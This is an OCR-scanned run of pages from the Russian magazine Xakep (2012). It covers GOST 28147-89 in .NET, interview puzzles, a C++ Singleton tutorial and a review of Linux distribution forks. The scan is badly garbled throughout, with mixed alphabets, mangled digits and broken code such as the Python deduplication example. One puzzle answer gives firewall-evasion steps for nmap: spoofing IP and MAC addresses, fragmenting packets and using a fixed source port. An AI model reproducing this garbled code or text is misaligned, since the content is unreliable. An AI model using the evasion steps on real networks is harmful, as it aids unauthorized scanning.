{[GostlmitoAig, Gost.Gostlmito, GostAigs, Version=1.0.0.0, Culture=ru, PuЫicKeyToken=9Ь088f4818daa492]} {[System.Security. Cryptography.КeyedHashAigorithm, Gost.Gostlmito, GostAigs, Version=l .0.0.0, Culture= ru, {[GostCfbAig, Gost.GostCfb, GostAigs, Version=1.0.0.0, Culture=ru, PuЫicKeyToken=9Ь088f4818daa492]}

ХАКЕР 01 / 156/2012

Page 95: haker

гост 28147-89

ГОСТ 28147-89 является стандартом СНГ и определяет блочный симметричный алгоритм шифрования, а также четыре режима его

работы. Программная реализация алгоритма очень проста, так

как он состоит из простых операций: XOR, сложения по модулю 2л32 и циклического сдвига на 11 бит влево. В самом начале блок открытого текста [8 байт! разбивается на две части по 4 байта каждая. К правой части прибавляется ключ [по mod 2л321, после чего результат преобразуется в соответствии с таблицей замены

[SBoxl, а затем ксорится с левой частью. Далее части меняются местами. Такой порядок действий сохраняется на протяжении

31-го раунда, на последнем 32 раунде части не меняются местами, а компонуются в блок шифрованного текста размером 8 байт. Алгоритм, определенный в ГОСТе 28147-89, является очень быстрым и обеспечивает надежную защиту данных. В открытой

криптографии еще не известен способ существенного снижения

стойкости этого алгоритма. Общую схему его работы смотри на

рисунке 7.

KeyedHashAigoгithm.Cгeate, однако в этом случае вторым пара­

метром нужно передавать ключ . Все перечисленные вызовы в

итоге сводятся к вызову метода CгyptoCoпfig.CгeateFгomName, в

котором объекты создаются при помощи Activatoг.Cгeatelпstaпce

и все ошибки подавляются пустым catch. Так что при правке конфигурации необходимо быть предельно внимательным- при

малейшей ошибке вместо ссылки на нужный экземпляр класса

можно запросто получить пull .

В секции oidMap мы осуществили привязку 010 алгоритма к его имени, и теперь при помощи класса CгyptoCoпfig легко

можно получить 010 по имени алгоритма. Кстати, в MSON гово­рится, что значение атрибута пате элемента oidEпtгy должно

совпадать с именем класса [в нашем случае, например, GostCfЬI, однако это нетак-следует указать то имя, которое мы задаем в

элементе паmеЕпtгу, иначе 010 не будут маппиться к именам. Вообще, при возникновении каких-либо проблем, под отлад­

чиком можно легко посмотреть данные, прочитанные из файла

machiпe.coпfig . Заданные пользователем 010 хранятся в ргivаtе­коллекции machiпeOidHT, а привязанные имена- в-pгivate

коллекции machiпeNameHT класса CгyptoCoпfig !см. рисунок 61.

ИСПОЛЬЗОВАНИЕ Для реализации шифрования и хеширования CLR использует поточно-ориентированный подход, ключевую роль в котором

играет класс CгyptoStгeam, являющийся производным от класса

Stгeam. Благодаря такому подходу появляется возможность

сцеплять разные объекты и осуществлять разные криптогра­

фические операции без создания промежуточных буферов для

хранения данных.

Так, например, сначала данные из потока с открытым текстом

поступают в данные с CгyptoStгeam симметричного алгоритма, а

выход этого потока- на CгyptoStгeam алгоритма хеширования.

При таком подходе одновременно осуществляется шифрова­

ние и хеширование открытого текста. Пример использования

поточно-ориентированного подхода смотри в исходникахна

диске.

При использовании CгyptoStгeam для дешифрования следует

учитывать то, что он обычно считывает из потока целое число

блоков. В некоторых случаях, когда за шифрованным текстом

следуют другие данные, а размер шифрованных данных не кратен

размеру блока алгоритма, может потребоваться коррекция свой­

ства Positioп потока-источника для CгyptoStгeam.

ХАКЕР 01/156/2012

.N ЕТ-криптография

еще 29 раундов

Схема алгоритма, описанного в ГОСТе 28147-89

MONO PROJECT Все описанное выше справедливо и для Mono, однако в синтак­сисе команд, используемых для добавления сборки в GAC, есть небольшие различия. Так, например, для добавления сборки в

глобальный кеш нужно использовать следующую команду:

$ gacutil -i <Путь и имя сборки>

А для просмотра параметров сборки- вот такую:

$ gacutil -l

Файл machiпe.config находится [ОС Ubuпtul в /еtс/mопо/<Версия М о по>/.

ЗАКЛЮЧЕНИЕ Вот и все, теперь ты сам можешь накадить криптографический

алгоритм в стиле .NET Fгamewoгk, а также создать свою сборку­криптопровайдер и корректно установить ее. А если остались

какие-то вопросы или есть что обсудить- пиши мне на почту. ::Х::

093

Page 96: haker

КОДИНГ Павел Александрович li v inside . Ыog spo t .coml

Задачи на собеседованиях Есть два одинаковых стеклянных шарика. За какое минимальное

чи сло бросков можно гарантированн о о пределить, при падении

с какого этажа стоэтажно го здания шарики начинают разбиваться?

РЕШЕНИЕ

Сначала хочу отметить, что искомое число заметно меньше 50 -первого варианта, который пришел мне на ум !первый шарик

бросаем с 50 этажа; в зависимости от исхода второй шарик броса­ем, начиная с первой или второй половины этажей!. Единственное

верное предположение здесь состоит в том, что бросок первого

шарика должен разделить все этажи н а некоторые интервалы.

Обозначим этот интервал за х. Таким образом, захбросков мы

09-'

в худшем случае пробьем все эти интервалы. В случае если первый

шарик разобьется при броске с какого-то этажа, возьмем второй :

его нужно будет п оследовательно кидать, начиная с посл едне го

этажа, при броске с которого первый шарик еще не ра збивался .

Это займет у нас в худшем случае 1100- xl 1 х бросков. Итак, мы получили функцию ylxl = х + 1100- xl 1 х. Осталось найти

её минимум. Как известно, минимумом функции является такая

точка, где производная функции равна нулю. В качестве упраж­

нения предоставлю тебе найти его самостоятельно ;1. Ну а я лишь констатирую, что он достигается в точке, где х = 10, а сама функция принимает значение 19. Спешу тебя расстроить! Это не оптималь­ный вариант. Мы не учли, что при разделении всех этажей на ин­

тервалы бросаем первый шарик .. . Следовательно, интервалы должны быть неодинаковыми.

Например, если при броске с верхнего этажа п ер вого интервала

ХАКЕР 01/1 56/201 2

Page 97: haker

шарик не разбился, то мы идем на верхний этаж второго интер­

вала, не забывая при этом, что один бросок уже сделан' Чтобы

минимизировать количество оставшихся бросков, нужно сделать

второй интервал на один этаж меньше предыдущего. Таким обра­

зом, мы получаем арифметическую прогрессию: пlkl + lпlkl- 11 + .. . + lпlkl- k + 11, где k- количество интервалов, п- величина первого

интервала. Её с.умма, которая как раз и равна количеству этажей,

вычисляется по формуле для суммы арифметической прогрессии:

12 • пlkl- k + 11* k 12. Получаем функцию пlkl = 100 1 k + k 12- 1/2, минимум которой нам и предстоит найти. :!Забегая вперед, скажу, что он равен корню из 200, а если отбро с ить дробную часть, то 14, что и является оптимальным количеством бро с ков.

Существует следующий фрагмент программы:

tokens = [] for token in tokeniter:

if token not in tokens: tokens.append(token)

Зде сь tokeпsiteг- итератор, выдающий достаточно большую

последовательность токенов, которые могут повторяться .

На выходе этот фрагмент программы выдает массив уникальных

токенов без повторений, в котором сохранен хронологический поря­

док появления токенов из входной последовательности tokeпsiteг.

Нужно оценить временную сложность этого фрагмента и предло­

жить обоснованные способы оптимизации.

РЕШЕНИЕ

Основную проблему здесь создает строчка «if token not in tokeпs: >> , из-за нее сложность алгоритма становится равной

Olп * ml, причем 1 < m < n. Сразу же напрашивается вариант оптими­за ции с помощью словаря, где мы не будем перебирать все элемен­

ты в поисках повтора, а nроверкабудет выполняться за одну опе­

рацию. Для этого в качестве ключа используем токен, а в качестве

значения- его номер, чтобы потом восстановить х ронологию. Код

для тестирования выглядит так:

import random import timeit

# Генерируем псевдослучайную последовательность токенов # В данном случае зто числа от 1 до 99999 f [] for i in xrange( 1, 2ееее ):

f.append(random.randrange( 1, 1еееее ))

# Исходный алгоритм def func1():

tokens = [] for token in f:

if token not in tokens: tokens . append(token)

# Оnтимизированный алгоритм def func2():

tokensdict = {} i = е

for token in f: if not tokensdict.has_key(token) :

#Формируем словарь токен:номер

tokensdict[token] = i i += 1

ft Инициализируем массив с длиной словаря

ХАКЕР 01 /156/2012

Задачи на собеседовании

tokens = [ е for i in xrange(len(tokensdict))] # И сразу же вставляем каждый злемент на своё место for key iп tokens:

tokens[tokens[key]] = key

t = timeit.Timer(setup= 'from __ main __ import func1 ' , stmt= 'func1()' )

priпt t.timeit(number = 1 ) t = timeit.Timer(setup= 'from __ ma i n __ import func2' ,

stmt= ' func2() ' ) print t.timeit(number = 1 )

В итоге у меня получились такие результаты:

$ python2 test.py 6.8ее89592934

е.евssз8578езз

Второй алгоритм отработал более чем в 600 раз быстрее. Его сложность можно оценить как Olnl, поскольку поиск возможного повто ра в словаре происходит за одн у операцию. В качестве про­

межуточного оптимизированного алгоритма можно использовать

дв о ичный поиск повторяющи хся токе нов . Такой алгоритм будет

иметь сложность Oilog nl . Можешь попробовать самостоятельно реали зовать его на досуге .

УСЛОВИЕ

Как ограничить использование пр о цессара одним из nриложений ?

На сервере стоит Linux.

РЕШЕНИЕ

Мн о гим системным админи страторам наверняка известна специ­

альная утилита cpulimit, которая в определенные моменты време­ни отправляет приложени ю с игналы SIGSTOP и SIGCONT:

# cpulimit --pid=<pid> --limit=<value>

В value ука з ывается число, которое представляет собой макси ­

мальн ое процессорное время в процентах , выделенное под при­

ложение с идентификатором pid. На многопроцессорных системах

процент нужно указывать с учетом количества CPU, то есть, чтобы на 4 - процессорной машине выставить несграниченнее время

работы , нужно задать не 100%, а 400%. Правильнее использовать фи чу ядра под названием cgгoups ,

но зто не всегда возможн о . Она п оз воляет распределять процес­

с ы по группам и ограничивать и с п оль зовани е процессара этими

группами. Для начала нужно уста но вить некоторые утилиты для

работы с cgгoups :

$ yaourt -5 libcgroup ... ________________________ ~ ЧТОБЫМИНИМИЗИРОВАТЬ

КОЛИЧЕСТВО ОСТАВШИХСЯ

БРОСКОВ, НУЖНО СДЕЛАТЬ

ВТОРОЙ ИНТЕРВАЛ НА ОДИН ЭТАЖ МЕНЬШЕ

ПРЕДЫДУЩЕГО

095

Page 98: haker

КОДИНГ

Пример конфигурационного файла, в котором создается три

группы:

group default { perm {

root; root;

task { uid gid

admin { uid gid

root; root; }}

cpu cpu.shares = 10; }}

group daemons/tomcat { perm {

task { uid root; gid root;

admin { uid root; gid root;

cpu {

}

}}

cpu.shares = 4~; }}

group daemons/postgres { perm {

task { uid root; gid root;

admin { uid root; gid root;

cpu { }}

cpu.shares = se; }}

mount { cpu = /mnt/cgroups/cpu; cpuacct = /mnt/cgroups/cpu;

В соответствии с этим конфигом, при пиковой нагрузке процес­

сорное время распределяется между этими группами следующим

образом : для группы daemoпs/tomcat- 40 %, для группы daemoпs/ postgгes- 50 %, для default -10%. Теперь осталось рассортиро­вать процессы по группам. Это делается в /etc/cgгules . coпf:

<user> *:tomcat *:postgres

<controllers> cpu cpu cpu

<destination> daemons/tomcat/ daemons/postgres/ default/

Все процессы с именем tomcat отправляем в группу daemons/ tomcat , с именем postgгes- в группу daemoпs/postgгes , а осталь­ные- в груnпу default.

В консоли запущена следующая команда:

# nmap -sS -Pn -n -il active-hosts

Через пять минут после запуска сканирование резко замед­

ляется . В логе зафиксировано, что примерно в этот же момент

вердикты по всем хостам/портам приобретают статус filteгed. Твои предположения и дальнейшие действия?

096

В СЛЕДУЮЩЕМ ВЫПУСКЕ

Задача 1 Возникло подозрение , что один из твоих веб-серверов взломан.

Необходимо: al проверить систему на предмет руткитов, бl на будущее настроить уведомление администратора о малейшей подозрительной

активности, возникающей на сервере или направленной на него .

Задача 2 Дан большой массив данных в файле !миллион записей!. Загрузить

данные в таблицу, используя язык программирования Python.

Задача 3 Написать скрипт, считывающий список URL из файла !одна строка­один URLI, скачивающий их не более чем в N потоков и сохраняющий каждую страницу в отдельном файле. Количество N, задаваемое аргументом командной строки, по умолчанию равно 1 О. Имена конечных файлов значения не имеют. Для реализации многопоточности

использовать на выбор одну из стандартных библиотек thгeadiпg , event­let, gevent, Twisted или любую другую знакомую тебе библиотеку.

Задача 4 В базе данных Огасlе имеются две таблицы с одинаковым

набором колонок. Вывести данные, которые есть в одной таблице,

но отсутствуют в другой.

РЕШЕНИЕ

Статус filteгed означает, что пакеты не доходят до целевого порта .

Этому может быть несколько причин:

пакеты блокируются файереалом на локальной машине;

пакеты блокируются файереалом между нашей машиной и целе­

выми;

пакеты блокируются маршрутизатором между нашей машиной

и целевыми;

пакеты блокируются файереала ми на целевых машинах !хотя вероятность этого мала , исключать такой вариант не стоит!.

Можно nопытаться предпринять следующее:

сменить IP- и М АС-адрес !может помочь, если мы находимся в одной подсети со всеми целевыми машинами или маршрутиза­

тором/файерволом, который блокирует пакеты!:

# ifconfig ethe 192.168.1.123 # ifconfig ethe hw ether ее:е1:е2:ез:е4:еs

выполнить действия , описанные в предыдущем пункте,+ физи­

чески переткнуть кабель в другой порт маршрутизатора, если

есть такая возможность;

подождать некоторое время, пока нас не разбанят.

Послеразбаниванияиспользоватьтакие

замечательные опции nmap, как: --max-rate 50-ограничить число посылаемых па кетов до 50 шт/с;

• -f-фрагментировать пакеты;

• -g88-посылать пакеты с определенного порта;

--data-leпgth 50-добавлять п роизвал ьн ы е 50 байт к каждому па кету.

Все эти параметры помогают успешно обойти правила файерво­

ла/маршрутизатора. ::х:

ХАКЕР 01 /156/ 2012

Page 99: haker

· А Апьфа · Банк

:;; ::; .. ~ "' а. х .. "' .. а. <:: . .. :z:

Оформить дебетовую или кредитную «Мужскую карту» можно в отделениях

ОАО «Альфа-Банка», а так же заказав по телефонам:

(495) 229-2222 в Москве 18-800-333-2-333 в регионах России (звонок бесплатный) или на сайте

www.mancard.ru

ОАО <<Аль а-Банк>>. Гене альная лицензия бан ка России на ос ествление банковских опе а ий от 29.01.1998 N21326"

Page 100: haker

КОДИНГ

СОЗДАЕМ ОДИН­ЕДИНСТВЕННЫЙ ОБЪЕКТ НА ВСЮ ПРОГРАММУ

В объектно-ориентированном

программировании часто необходимо,

чтобы экземпляр какого-либо класса

оставался единственным на протяжении

всей жизни программы. В небольших

проектах соблюдение этого требования не

вызывает особых сложностей, но, чем больше

разрастается исходный код, тем труднее

обеспечивать это с помощью стандартных

методов . В итоге все кодеры рано или поздно

приходят к выводу, что нужно использовать

паттерн «Одиночка», или Siпgletoп. Попробуем

подготовиться заранее и понять, что же это за

штука такая, Синглтон.

098

deeonis ldeeonisГc!gmail.coml

начала надо выяснить, в каких ситуациях нам может при­

годиться Siпgletoп. Первое, что приходит на ум,- это моно­

польное владение какой-л ибо информацией или состоянием.

Объект класса, работающий с какой-либо веткой системного реестра

Windows, useг mode интерфейс-драй вера или настройки програм­мы-все это требует очень аккуратного обращения, и паттерн «Оди­

ночка» тут будет очень кстати . Давай представим, что у нас есть некая

утилита, которая хранит свои настройки в ini-файле и за гружает их

при старте . Естественно, как и все уважающие себя программы, наша

тулза имеет окно, в котором мы можем расставить всякие галочки для

ее тюнинга. В этом окне есть кнопка Save, которая позволяет записать все опции в файл. Казалось бы, все хорошо, но как остальная часть

программы узнает об измененных настройках? Для этого во всем

коде утилиты должен существовать еди нстве нны й объект, хранящий

актуальное состоя ние опций . Все остальные части программы должны

за прашивать у этого объекта нужные параметры. Изменение настроек

также должно происходить через этот объект.

ПРОСТОЕ РЕШЕНИЕ Пер в ое, что приходит в голову любому начинающему кодеру,- это

создать глобальную переменную, например gSettings, для хра н ения

объекта нужного нам класса. Н азовем его CSettiпgs . Во всей про­

грамме он будет единственным таким объектом, что, казалось

бы, решает поставленную задачу. Но на самом деле такой прием

абсолютно бесполезен .

Глобальная nеременная с настройками

class CSettings { puЬlic :

void getSettings() { ... }; 11 .. .

ХАКЕР 01/156/2012

Page 101: haker

11 Обьявление глобальной переменной

csettings gsettings;

Во-первых, ·никто не мешает переопределить эту глобальную

переменную. Любой желающий может заново создать объект

CSettings и заменить им gSettings. Конечно, тут многие возразят, что, мол, можно nерегрузить оnератор nрисваивания для этого класса

или конструктор копирования, но это не поможет, если gSeetings nредставляет собой указатель или ссылку. Во-вторых, даже если

отбросить nроблему с возможной переинициализацией глобальной

nеремен ной, разработчик может запросто забыть о ее существо­

вании и создать новый локальный объект с настройками. И даже

если мы торжественно поклянемся пользоваться только глобальной

переменной gSettings, всегда существует вероятность того, что мы ее проигнорируем, когда решим оживить свой проект после nары

лет забвения. К тому же подобная nроблема чрезвычайно актуальна

в nрограммах, которые разрабатываются не одним, а несколькими

кодерами . Ну и в-третьих, объект класса CSettings, скорее всего, будет создаваться в самом начале работы тулзы, что не всегда ра­

ционально, так как при некоторых сценариях обращение к gSettings

вообще не происходит. Придя к выводу, что глобальные переменные

не подходят, мы заключаем, что нас сnасут статические классы.

Тут все тоже довольно-таки просто: все методы и свойства класса

объявляются с ключевым словом static и благодаря этому остаются единственными и неповторимыми во всей программе.

Статический класс с настройками

class csettings { puЬlic :

}

static void getSettings () {. -~};

// ...

/1 Обращение к методам класса

CSettings: :getSettings();

Мы решаем nроблему с множеством копий одного и того же

объекта, но игнорируем тот факт, что он создается слишком рано.

Статические классы создаются во время запуска программы, но

они, как мы помним, могут нам вовсе не понадобиться . Кроме того,

у такого решения есть куда более серьезный минус: невозможность

инициализации упомянутых классов. Кодер не создает объект и

nоэтому не может его как-то инициализировать. В случае с настрой­

ками инициализировать класс можно было бы, например, путем к

ini-файлу. Конечно, можно создать отдельный метод для передачи

этого пути, но нет никакой гарантии, что кто-то не обратится к

методам CSettings раньше, чем CSettings получит полное имя файла и nрочитает его содержимое.

Теnерь, когда мы поняли, что справиться с поставленной задачей

при помощи стандартных средств невозможно, пора обратиться к

ООП и непосредственно к nаттерну <<Одиночка>> . Как известно, для

создания объекта любого класса требуется специальный метод под

названием конструктор. Если в классе не будет конструктора, то

не будет и объекта, компилятор nросто забракует такой код. Даже

когда мы не определяем конструктор явно, С++ и другие языки про­

граммирования делают это за нас.

Также все мы знаем, что классы могут иметь открытые и за­

крытые члены. Закрытые, или pгivate , методы и свойства доступны

только внутри этого класса. Его клиенты не могут обратиться к ним

напрямую, так как это вызовет ошибку компиляции. Восnользуемся

этими знаниями и создадим класс с приватным конструктором.

ХАКЕР 01 / 156/ 201 2

Паттерн проектирования «Одиночка»

-­~s.;:~~ ... , .... f>.

,.,., .. , -u,.,., .... o '''

,. ,_, .. ,...,. •• а, ... .;.-:::::..::.;-· ~~~~

_, .... ..;. . о,

........ -(1 01 ...... .. _ .......... ,

Код класса CSingleton;

Класс с закрытым конструктором

class CSettings

private : CSettings ();

static CSettings* m_instance; puЫic :

static CSettings* getinstance()

{ if (m_instance == е )

m_instance = new CSettings(); return m_instance;

void getSettings() { ... };

11 . . .

/1 Инициализируем нулем указатель на объект CSettings* CSettings: :m_instance = е ;

/1 Обращение к методам CSettings

CSettings: :getinstance()->getSettings();

Таким образом , мы сделали все, чтобы объект CSettings нельзя

было создать. Мы не можем ни инициализировать его как глобаль­

ную переменную, ни создать его с помощью оператора new. Однако мы все-таки оставилинебольшую лазейку- статический метод

getlnstance[]. На самом деле именно он создает объект класса

CSettings и присваивает его закрытой статической переменной m_i nstance, причем все это происходит только в том случае, если указатель на объект равен нулю, то есть если он не был создан

ранее. Таким образом, мы получаем 100 %-ю гарантию того, что

наши настройки будут существовать в единственном экземпляре,

пока nрограмма не завершит работу, и устраняем проблему с пре­

ждевременным созданием объекта, так как nамять под него будет

выделена лишь во время первого обращения к его методам.

УНИВЕРСАЛЬНЫЙ КО Объединять в одном классе две функции [доступ к настройкам про­граммы и Синглтон] не очень хорошая идея. Каждый класс должен

отвечать за свою область и не лезть в другие. Поnробуем создать

такой код, который бы позволил превращать любые классы в << оди­

ночки>> . Стандартный путь с наследованием нам не подойдет. Мы бы

могли написать класс CSingletoп, который выступал бы в качестве

базового для других классов, но нам нужен статический метод

getlпstance[], который должен создавать объект нужного типа . Ро­дительский класс ничего не может знать о своих потомках, поэтому

мы могли бы попробовать определить абстрактный виртуальный

метод, который бы переопределялся в потомках и возвращал

объект класса [мы же помним, что конструктор у нас приватный и создать объект может только метод того же класса], но, к сожале-

099

Page 102: haker

КОДИНГ

нию, вызвать этот метод из статического getlnstance у нас никак не nолучится. Позтому мы nойдем другим nутем.

Класс CSingleton template <class Т >

class CSingleton { puЫic :

virtual - csingleton() {};

static Т * getinstance() {

if (m_instance == е )

m_instance = new Т(); return m_instance;

protected :

};

CSingleton() {}; static Т * m_instance;

11 Обьявление класса CSettings class CSettings : puЫic CSingleton<CSettings> { private :

CSettings (); protected :

friend class CSingleton<CSettings>; public :

static void getSettings() { ... }; 11---

Обьявив CSingleton шаблоном, мы сможем создавать в методе getlnstance объекты любых тиn ов . Однако особо вниматель-

ные возразят нам, заявив, что такой трюк не сработает, так как

конструктор у наш е го CSettings nо-nрежнему nриватный, а мы nытаемся создать объект настроек с n омощью new. Это было бы сnраведливо, если бы в С++ не было ключевого слова fгiend, ко­

торое nозволяет объявить класс дружественным и дать ему доступ

к закрытым членам. Такой маленький чит в 00-модели помогает

нам реализовать nолноценный шаблонный nаттерн «Одиночка>>.

Теперь мы можем сделать уникальным любой класс, добавив в

него лишь пару строк кода. Кстати, один из плюсов такого подхода

состоит в том, что в случае изменения CSingletoп не потребуется

править все остальные классы, которые его используют. А как

может измениться CSiпgleton, мы сейчас узнаем .

s· toa ton :

- s;"ptoЩ}

+ SW\etan · ge!ONL\'()

Диаграмма классов паттерна

100

Sing)eton ge!ONLYQ {

}

Щ:ONLY••null) ONLY • мw Sing)etor(); rttuznONLY;

~· -- · • ... .. .;) А. w -

~ ... -._ .. -· -

Одиночка (шаблон nроектирования}

..... -..... --·---

·--­··--·-···---_... tJ ___ ttCЬ.•-.. -tlм-IJ_ .. _..,, __

,.,_ .... .._ tt,_,. .. c•· ,,~ ... со ,,,_.. .. _, ,., ... _ .. _, ~·--~ ... ~ .. -· .. ···-... -·-t •J-·•~I.Joo 111_ .... >€1' ,,,,_ ... ,... ,.,"_.,_.!_

Wikipedia про наш nаттерн

многопоточность

--· ~ tt • ~ ~ • • о

- · .. '/1'1 .. _ _ ...._

w•м•·-•.,.•••-u ,._, -

Если обращение к настройкам идет из нескольких потоков, то два

потока вполне могут одновременно попытаться создать еще не

существующий объект CSettings. Представим, что тред NQ 1 вызвал метод getlnstance. Он усnешно проверил, не равен ли m_instance нулю, обнаружил, что CSettings еще не создан, и решил его создать. Н о тут его прервал поток NQ 2, который тоже обратился к getlnstance, но , в отличие от первого, успел создать объект m_instance. Затем активировался тред NQ 1, находящийся в полном не ведении о том, что CSettings уже существует, создал свою копию объекта и при­

сваил его m_instance. В такой ситуации мы как минимум получим утечку nамяти. В худшем случае все сломается и нас ждет конец

света, если мы, например, пишем софт для всемирной сети атомных

электростанций .

Для того чтобы этого не случилось, нужна синхронизация. В С++

нет встроенных методов меж nотоковой синхронизации, поэтому при­

дется воспользоваться АРI-функциями ОС. В Windows код CSingleton, адаптированный для многопоточной среды, выглядит так:

Многопоточность и CSingleton template <class Т> class CSingleton{ puЫic :

virtual -CSingleton () {}; static Т* getinstance() {

EnterCriticalSection( ... );

if (m_instance == е )

m_instance = new Т();

LeaveCriticalSection( ... );

return m_instance;

protected :

};

CSingleton() {}; static Т * m_instance;

С помощью механизма критических секций мы защищаем код,

создающий объект CSettings, от одн овременного выполнения. Те­перь можно без опасений распараллепивать нашу программу на все

ядра и процессоры, которые существуют в системе.

ЗАКЛЮЧЕНИЕ Паттерн <<Одиночка >> представляет собой один из самых простых

паттернов в ООП. Эта простота расслабляет, однако тут, как и везде,

есть свои подводные камни, о которых нужно знать. Эти знания

очень пригодятся всем, кто хочет кодить по-взрослому. :Х:

ХАКЕР 01 / 156/201 2

Page 103: haker

аха

ПОЗДРАВЛАЕТ ВАС С 2012 И ДАРИТ КУПОНЫ НА ПРОСМОТР НОВЫХ СЕЗОНОВ ХИТОВ В 21:21

ВЫРЕЖИ И СМОТРИ

liECПnATHD тоnыоНА zxz

--------~-------- -

ВЫРЕЖИ И СМОТРИ

Page 104: haker

UNIXOID Сергей «gгindeг» Яремчук lg гi nd e гratu x.i n . u al

ков

ОБЗОР ВЕТОК ПОПУЛЯРНЫХ ДИСТРИБУТИВОВ LINUX

Пытаться угодить

всем и каждому очень

тяжело, поэтому даже у

пользователей самого

«заряженного» Линукеа

возникает куча проблем:

то нет нужной программы,

то установщик не такой,

то локализация хромает,

то пакет в репазитарии

имеет не самую последнюю

версию и так далее .

В итоге появилось

большое количество

веток и дополнительных

репозиториев пакетов.

Некоторые из форков

догнали и даже

перегнали родительские

дистрибутивы.

102

-• Название Sa-bayon nроизошло от названия известного

итальянского

десерта .

• В Sabayon emeгge «видит•> пакеты,

установленные

через equo, и наоборот.

• В .config Calculate Linux содержится 1560 модулей, а в его ядре- 866, в Sabayon и его ядре- 2625 и 1250 соответственно .

• В разных версиях Calculate Linux рабочий стол выглядит одинаково.

• Linux Mint богат прилож.ениями

собственной разработки .

• В PCLinuxOS отсутствует сборка х64.

• no сути , Mageia представляет собой неофициальную

версию Mandгiva .

ntoo, п о п улярност ь которого бук вально взлете л а

в начале века, н е отличался дружелюб н остью к н о в ичкам, причем

на все х этапах : от установки и конфигур и рования системы до

повседневной работы. Так к а к р аз работч икинеч ас то баловали

сообщество н овы м и р е л из а ми, а процеду ра ком пил я ци и п р ограмм

с помощью предоставляем ых инструме нтов уже начала утомля т ь

пол ьзовател ей (тем более не все хотел и разбираться в USЕ­

фла гахl, то неуди вител ь н о , что поя в или с ь желающие «до пилить >> д истр ибутив.

Sabayon 7 Сайт проекта: sаЬауоп.огg

Лицензия : GPL Аппаратные платформы: i686, х86_64 Системные требования: l пtel Peпtium 11, 512 Мб RAM, 6 Гб Ке гпе13 . 0 , Gl ibc 2.13, Udev 171, Х.ог g 1.10.4, GNOM E 3.2, КОЕ 4.7, L ib гe O ffice.O гg 3.4.3

Sа Ьауоп- самый известный фор к Geпtoo, п ричем в рей тин ге

D istгowatc h.com о н давно обогнал своего родител я . Ра зработки

в едет отно с ит ельн о н ебольшая г руппа п од руководств о м и талья н­

ц а FaЬio E гc u li ani . Цель п роекта со стои т в том , чт об ы уст р анит ь в се

то , ч то мешает Gentoo обрести большую по п ул я рн ость , а именно

упростить установку, конфигурирова ни е и сбо р ку программ .

Дист рибути в базируется н а н естаб ильной ветке (п оэтому в н ем мож н о встретить в с е н ови н ки) и п ол ностью со в местим с Gentoo. Из н ачал ьно он был о рие нтирова н н а десктопы , одна ко версия 5.4 SeгveгBase заточ ~ :, а уже под сер в ера . Со време н е м с п исок сбо р ок

ХАКЕР 01/ 156/2012

Page 105: haker

В Sabayon для установки пакетов nредлагается графический Entгopy Stoгe

с различными рабочими столами расширился, и сегодня доступно

несколько вариантов на основе образа SpinBase: основные релизы: КОЕ, GNOME; экспериментальные: XFce, LXOE, Enlightenmeпt и SpinBase/ OpeпVZ (оптимизированный для OpenVZ].

Кроме этого, предлагается релиз с минимальной средой

СогеСОХ, который отличается от SpinBase только наличием Х (Fiuxbox] . В версии 4.1 появился инструмент для автоматической сборки образов Molecule. Начиная с этой версии в подкаталоге DAILY сохраняется ежедневная сборка системы. Образы неги­бридные, то есть напрямую не поддерживают установку на флеху

(выручает команда isohybгid] .

Как и в Gentoo, установка и обновление программ осуществля­ется при помощи системы Poгtage, ди стрибутив использует свой

оверлей . Любопытно, что популярность Sabayon в основном обу­словлена собстве нн ой системой управления бинарными пакетами

Entгopy. П арадокс, ко н ечно , особен но с у ч етом того, что фишка

Geпtoo именно в автоматической сборке программ из сорцов, но

так и есть . Дл я установки па кетов используется команда equo:

# equo install mc

Однако у equo зада ч на порядо к больше, чем, например, у дебиановского apt-get: здесь и управление репазитария ми, и раз­маскировка, и обновление системы и конфи гурационных файлов, и

работа со smагt-пакетами ( не сколь ко приложений в одном пакете],

и многое другое.

Доступен менеджер обновлений Magneto и графический интер­фейс Stoгe для eqL!O ( запускается из Magneto]. В Stoгe п риложе ния разбиты п о группа м (как в по ;. гежах ] и распределены п о рейтингу, реали зова : i пои ск. При устсно вке пакета можно просмотреть е г о

свойства (U S Е-флаги, мас " ировка, зависимости и т. п.] Гл а вн ое , что пакетная база дистrАбутива си н хро н изиро ван а и полн остью

со в местима с Poгtage. Однако есть нюанс: emeгge видит пакеты,

установленные через equo !строка Package Setting], а вот наоборот почему-то не всегда. Проблемы в этом нет, но нужно быть готовым

к тому, что equo «затрет» пакетной версией собранное приложе­ние. Также в процессеработы могут возникнуть проблемы с совме­

стимостью версий, так как в дереве па кетов, судя по всему, про­

верка на совместимость не проводится. П оэтому в случае с Sabayon лучше всегда использовать оди н и тот же способ установки.

В отличие от Ca lculate Linux (о н ем ниже], в котором би нарники

ХАКЕР 01 /156/2012

Атака форков

«привязаны >> к версии, пакетный репазитарий в Sabayon общий, то есть пользователь может установить несколько сред и обнов­

лять их любым удобным способом, без ограничений. Разработчики

часто шаманят, раскладывая по разным па кета м локализацию и

добавляя настройки. В версии 6 /etc/make.coпf стала более упоря­доченной. Ранее там были свалены в кучу все флаги, и создавалось

впечатление, что разработчики не особо вникают, ко гда и какой

включать. Однако из make.conf следовало бы как минимум убрать поддержкудругих языков.

Загрузочный диск позволяет работать в Livе-режиме или сразу

начать установку. Также имеется режим медиастанции (на основе ХВМС]. Для инсталляции используется редхатовская Anaconda, поэтому процесс развертывания нельзя назвать сложным даже

для новичка. Правда, сюда перекочевали и классические ошибки

Анаконды. Например, если указать русскую раск л ад ку, то в про­

цессе установки ее еще можно будет переключать, а вот п ервый

раз войти в систему будет затруднительно. Проблем с локали за­

цией н ет, она проводится автоматически, при этом за праш ивает­

ся лишь загрузка дополнительных модулей (в основном русских man].

Sabayon имеет стандартный рабочий стол, все на месте, до­ступные по умолчанию приложения способны удовлетв орить

запросы рядового пользователя. Обои, оптимизированные для

widе-мониторов, в формат 4:3 конвертируются неудачно, причем с права ми обычного пользователя изменить разрешение при по­

мощи стандартных инструментов GNOME мне не удалось, а под гооt нужное установилось автоматически . Н а рабочем столе размещен

ряд дополнительных апплетов. Поскольку дистрибутив позициони­

руется как мулыимедийный, удивляет полное отсутствие каких­

либо пл агинов в браузереи дополнительных н астроек. Зато кодеки

и проприетарные дра йвера (включая ATI и NVidia] представлены в огромном количестве. Хотя разработчики и здесь отличили с ь :

в ядро вкомпилено практически все что можно, добавлена куча

драйверов устройств и т. п. Все это ускоряет загрузку, хотя не­

